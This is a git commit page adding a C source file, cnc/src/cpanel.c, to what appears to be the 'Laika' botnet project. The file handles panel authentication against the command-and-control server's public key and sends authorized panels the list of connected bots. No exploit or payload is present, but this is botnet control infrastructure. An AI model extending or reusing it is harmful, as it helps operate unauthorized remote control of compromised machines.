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Added cnc's panel list, minor refactoring of packets

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CPunch
2022-02-12 18:21:59 -06:00
parent 49a992c70a
commit a442f2f493
5 changed files with 140 additions and 4 deletions
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60
cnc/src/cpanel.c Normal file
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#include "lerror.h"
#include "cnc.h"
#include "cpanel.h"
inline void checkAuthenticated(struct sLaika_peer *peer) {
if (peer->type != PEER_PANEL)
LAIKA_ERROR("malicious peer!");
}
bool sendPanelPeerIter(struct sLaika_socket *sock, void *uData) {
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
struct sLaika_peer *panel = (struct sLaika_peer*)uData;
laikaC_sendNewPeer(panel, peer);
return true;
}
void laikaC_sendNewPeer(struct sLaika_peer *panel, struct sLaika_peer *bot) {
laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_ADD_BOT);
/* write the bot's pubkey & peerType */
laikaS_write(&panel->sock, bot->peerPub, sizeof(bot->peerPub));
laikaS_writeByte(&panel->sock, bot->type);
laikaS_endOutPacket(panel);
}
void laikaC_sendRmvPeer(struct sLaika_peer *panel, struct sLaika_peer *bot) {
laikaS_startOutPacket(panel, LAIKAPKT_AUTHENTICATED_RMV_BOT);
/* write the bot's pubkey */
laikaS_write(&panel->sock, bot->peerPub, sizeof(bot->peerPub));
laikaS_writeByte(&panel->sock, bot->type);
laikaS_endOutPacket(panel);
}
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *panel, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
panel->type = laikaS_readByte(&panel->sock);
switch (panel->type) {
case PEER_CNC:
case PEER_PANEL:
/* check that peer's pubkey is authenticated */
if (sodium_memcmp(panel->peerPub, cnc->pub, sizeof(cnc->pub)) != 0)
LAIKA_ERROR("unauthorized panel!\n");
/* add to cnc's list of authenticated panels */
laikaC_addPanel(cnc, panel);
LAIKA_DEBUG("Accepted authenticated panel %lx\n", panel);
/* they passed! send list of our peers */
laikaP_iterList(&cnc->pList, sendPanelPeerIter, (void*)panel);
break;
default:
LAIKA_ERROR("unknown peerType [%d]!\n", panel->type);
}
}